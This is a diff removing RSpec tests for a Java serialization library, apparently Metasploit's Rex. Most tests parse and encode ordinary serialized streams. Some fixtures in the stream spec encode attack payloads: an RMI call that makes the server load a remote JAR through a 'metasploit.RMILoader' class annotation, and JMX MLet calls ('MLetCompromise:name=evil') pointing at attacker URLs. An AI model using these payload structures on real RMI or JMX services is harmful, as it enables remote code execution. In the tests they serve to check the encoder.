expect(new_object.to_s).to eq('Easy => { ["int", 1094861636] }')
end
end
end

115
spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb
View File

@ -1,115 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::ProxyClassDesc do
subject(:proxy_class_desc) do
described_class.new
end
let(:sample) do
"\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" +
"\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" +
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" +
"\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" +
"\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
"\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" +
"\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70"
end
let(:sample_io) { StringIO.new(sample) }
describe ".new" do
it "Rex::Java::Serialization::Model::ProxyClassDesc" do
expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
end
it "initializes interfaces with empty Array" do
expect(proxy_class_desc.interfaces).to be_empty
end
it "initializes class_annotation with nil" do
expect(proxy_class_desc.class_annotation).to be_nil
end
it "initializes super_class with nil" do
expect(proxy_class_desc.super_class).to be_nil
end
end
describe "#decode" do
it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do
expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
end
it "deserializes interfaces" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.interfaces.length).to eq(1)
end
it "deserializes interfaces contents correctly" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello')
end
it "deserializes class annotation correctly" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "deserializes class annotation contents" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference)
end
it "deserializes super_class" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "deserializes super class description" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
end
describe "#encode" do
it "serializes a ProxyClassDesc" do
field = Rex::Java::Serialization::Model::Field.new
field.type = 'object'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h')
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;')
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy')
super_class_desc_new.serial_version = 0xe127da20cc1043cb
super_class_desc_new.flags = 2
super_class_desc_new.fields << field
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc.description = super_class_desc_new
interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello')
proxy_class_desc.interfaces << interface
proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
proxy_class_desc.super_class = super_class_desc
expect(proxy_class_desc.encode).to eq(sample)
end
end
describe "#to_s" do
it "prints a sample NewClassDesc stream" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy')
end
end
end

428
spec/lib/rex/java/serialization/model/stream_spec.rb
View File

@ -1,428 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::Stream do
subject(:stream) do
described_class.new
end
let(:easy_object_stream) do
"\xac\xed\x00\x05\x73\x72\x00\x04" +
"\x45\x61\x73\x79\x74\x1d\xe1\xbc" +
"\xbb\x2f\xcb\xaa\x02\x00\x01\x49" +
"\x00\x03\x53\x53\x4e\x78\x70\x41" +
"\x42\x43\x44"
end
let(:easy_object_stream_io) { StringIO.new(easy_object_stream) }
let(:easy_object_stream_to_s) {
<<-EOS
@magic: 0xaced
@version: 5
@contents: [
NewObject { Easy => { ["int", 1094861636] } }
]
@references: [
[7e0000] NewClassDesc { Easy, [ SSN (int) ] }
[7e0001] NewObject { Easy => { ["int", 1094861636] } }
]
EOS
}
let(:char_array_stream) do
"\xac\xed\x00\x05\x75\x72\x00\x02" +
"\x5b\x43\xb0\x26\x66\xb0\xe2\x5d" +
"\x84\xac\x02\x00\x00\x78\x70\x00" +
"\x00\x00\x02\x00\x61\x00\x62"
end
let(:char_array_stream_io) { StringIO.new(char_array_stream) }
let(:char_array_stream_to_s) {
<<-EOS
@magic: 0xaced
@version: 5
@contents: [
NewArray { char, ["97", "98"] }
]
@references: [
[7e0000] NewClassDesc { [C, [ ] }
[7e0001] NewArray { char, ["97", "98"] }
]
EOS
}
let(:complex_stream) do
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
"\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e\x72" +
"\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44\xa7" +
"\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62\x6a" +
"\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c\x6a" +
"\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55" +
"\x49\x44\x3b\x70\x78\x70\x0d\xc1\x1e\x2a\x94\x5e\x2f\xb2\x73\x72" +
"\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" +
"\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00\x03" +
"\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65\x49" +
"\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x16\x00\x00\x01" +
"\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00\x00" +
"\x00\x00\x01\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" +
"\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a\xdc" +
"\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04\x76" +
"\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f" +
"\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00\x00" +
"\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
"\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5\x6d" +
"\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b\x42" +
"\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75\x72" +
"\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70" +
"\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73\x71" +
"\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62" +
"\xc1\xc0"
end
let(:complex_stream_io) { StringIO.new(complex_stream) }
let(:complex_stream_to_s) {
<<-EOS
@magic: 0xaced
@version: 5
@contents: [
BlockData { [ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0xb6, 0x89, 0x8d, 0x8b, 0xf2, 0x86, 0x43 ] }
NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] }
BlockData { [ 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1 ] }
NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } }
]
@references: [
[7e0000] NewClassDesc { [Ljava.rmi.server.ObjID;, [ ] }
[7e0001] NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] }
[7e0002] NewClassDesc { java.rmi.server.ObjID, [ objNum (long), space (Ljava/rmi/server/UID;) ] }
[7e0003] Utf { Ljava/rmi/server/UID; }
[7e0004] NewObject { java.rmi.server.ObjID => { ["long", 991106561224880050], java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } }
[7e0005] NewClassDesc { java.rmi.server.UID, [ count (short), time (long), unique (int) ] }
[7e0006] NewObject { java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } }
[7e0007] NewClassDesc { java.rmi.dgc.Lease, [ value (long), vmid (Ljava/rmi/dgc/VMID;) ] }
[7e0008] Utf { Ljava/rmi/dgc/VMID; }
[7e0009] NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } }
[7e000a] NewClassDesc { java.rmi.dgc.VMID, [ addr ([B), uid (0x7e0003) ] }
[7e000b] Utf { [B }
[7e000c] NewObject { java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } }
[7e000d] NewClassDesc { [B, [ ] }
[7e000e] NewArray { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"] }
[7e000f] NewObject { 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } }
]
EOS
}
let(:rmi_call) do
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
"\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" +
"\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" +
"\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" +
"\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" +
"\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" +
"\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00"
end
let(:mbean_call) do
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
"\x2c\x69\x64\x3d\x31\x78\x70"
end
let(:marshalled_argument) do
"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" +
"\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" +
"\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" +
"\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" +
"\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74"
end
describe ".new" do
it "Rex::Java::Serialization::Model::Stream" do
expect(stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "initializes magic with java serialized stream signature" do
expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC)
end
it "initializes version with java serialized stream default version " do
expect(stream.version).to eq(Rex::Java::Serialization::STREAM_VERSION)
end
it "initializes references as empty array " do
expect(stream.references).to be_empty
end
it "initializes stream to nil by default" do
expect(stream.stream).to be_nil
end
end
describe "#decode" do
context "when deserializing a simple Object stream" do
it "deserializes an Stream" do
expect(stream.decode(easy_object_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "deserializes the signature correctly" do
stream.decode(easy_object_stream_io)
expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC)
end
it "deserializes all the contents" do
stream.decode(easy_object_stream_io)
expect(stream.contents.length).to eq(1)
end
it "deserializes a simple object correctly" do
stream.decode(easy_object_stream_io)
expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewObject)
end
end
context "when deserializing a char array" do
it "deserializes an Stream" do
expect(stream.decode(char_array_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "deserializes the char array correctly" do
stream.decode(char_array_stream_io)
expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewArray)
end
end
context "when deserializing a complex stream with references" do
it "deserializes an Stream" do
expect(stream.decode(complex_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "deserializes all the contents in the Stream" do
stream.decode(complex_stream_io)
expect(stream.contents.length).to eq(4)
end
it "deserializes object contents" do
stream.decode(complex_stream_io)
expect(stream.contents[3]).to be_a(Rex::Java::Serialization::Model::NewObject)
end
end
end
describe "#to_s" do
it "prints a simple Object stream" do
stream.decode(easy_object_stream_io)
expect(stream.to_s).to eq(easy_object_stream_to_s)
end
it "prints a char array stream" do
stream.decode(char_array_stream_io)
expect(stream.to_s).to eq(char_array_stream_to_s)
end
it "prints a complex stream with references" do
stream.decode(complex_stream_io)
expect(stream.to_s).to eq(complex_stream_to_s)
end
end
describe "#encode" do
context "when serializing a simple Object stream" do
it "serializes the Stream" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy')
new_class_desc.serial_version = 0x741de1bcbb2fcbaa
new_class_desc.flags = 2
field = Rex::Java::Serialization::Model::Field.new
field.type = 'int'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN')
new_class_desc.fields << field
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = [['int', 0x41424344]]
stream.contents << new_object
expect(stream.encode.unpack("C*")).to eq(easy_object_stream.unpack("C*"))
end
end
context "when serializing a char array" do
it "serializes the Stream" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C')
new_class_desc.serial_version = 0xb02666b0e25d84ac
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'char'
new_array.values = [97, 98]
stream.contents << new_array
expect(stream.encode.unpack("C*")).to eq(char_array_stream.unpack("C*"))
end
end
context "when reserializing a complex stream" do
it "reserializes the original stream" do
stream.decode(complex_stream_io)
expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*"))
end
end
context "when serializing a Java RMI call" do
it "serializes the stream correctly" do
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
block_data.length = block_data.contents.length
stream.contents << block_data
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
expect(stream.encode).to eq(rmi_call)
end
end
context "when serializing a MBeanServerConnection.getObjectInstance call data" do
it "serializes the stream correctly" do
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03"
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
block_data.length = block_data.contents.length
stream.contents << block_data
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
new_class_desc.serial_version = 0xf03a71beb6d15cf
new_class_desc.flags = 3
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1')
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
expect(stream.encode).to eq(mbean_call)
end
end
context "when serializing a marshalled argument" do
it "serializes the stream correctly" do
stream = Rex::Java::Serialization::Model::Stream.new
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
new_array_class_desc.serial_version = 0x90ce589f1073296c
new_array_class_desc.flags = 2
new_array_class_desc.fields = []
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_array_class_desc
new_array.type = 'java.lang.Object;'
new_array.values = [
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet')
]
stream.contents << new_array
expect(stream.encode).to eq(marshalled_argument)
end
end
end
end

107
spec/lib/rex/java/serialization/model/utf_spec.rb
View File

@ -1,107 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::Utf do
subject(:utf) do
described_class.new
end
let(:sample_utf) { "\x00\x10java.lang.Number" }
let(:sample_utf_io) { StringIO.new(sample_utf) }
let(:empty_utf) { "\x00\x00" }
let(:empty_utf_io) { StringIO.new(empty_utf) }
let(:incomplete_utf) { "\x00\x10java.lang.Numb" }
let(:incomplete_utf_io) { StringIO.new(incomplete_utf) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::Utf" do
expect(utf).to be_a(Rex::Java::Serialization::Model::Utf)
end
it "initializes length to 0" do
expect(utf.length).to eq(0)
end
it "initializes contents with empty string" do
expect(utf.contents).to be_empty
end
end
describe "#encode" do
context "when empty utf" do
it { expect(utf.encode).to eq(empty_utf) }
end
context "when filled utf" do
it do
utf.length = 16
utf.contents = 'java.lang.Number'
expect(utf.encode).to eq(sample_utf)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "raises Rex::Java::Serialization::DecodeError" do
expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty utf" do
it "returns a Rex::Java::Serialization::Model::Utf" do
expect(utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf)
end
it "sets length to 0" do
utf.decode(empty_utf_io)
expect(utf.length).to eq(0)
end
it "sets contents to empty string" do
utf.decode(empty_utf_io)
expect(utf.contents).to be_empty
end
end
context "when stream contains incomplete utf" do
it "raises Rex::Java::Serialization::DecodeError" do
expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct utf" do
it "returns a Rex::Java::Serialization::Model::Utf" do
expect(utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf)
end
it "sets length to 0" do
utf.decode(sample_utf_io)
expect(utf.length).to eq(16)
end
it "sets contents to sample string" do
utf.decode(sample_utf_io)
expect(utf.contents).to eq('java.lang.Number')
end
end
end
describe "#to_s" do
it "prints an stream containing a sample utf" do
utf.decode(sample_utf_io)
expect(utf.to_s).to eq('java.lang.Number')
end
it "prints an stream containing an empty utf" do
utf.decode(empty_utf_io)
expect(utf.to_s).to eq('')
end
end
end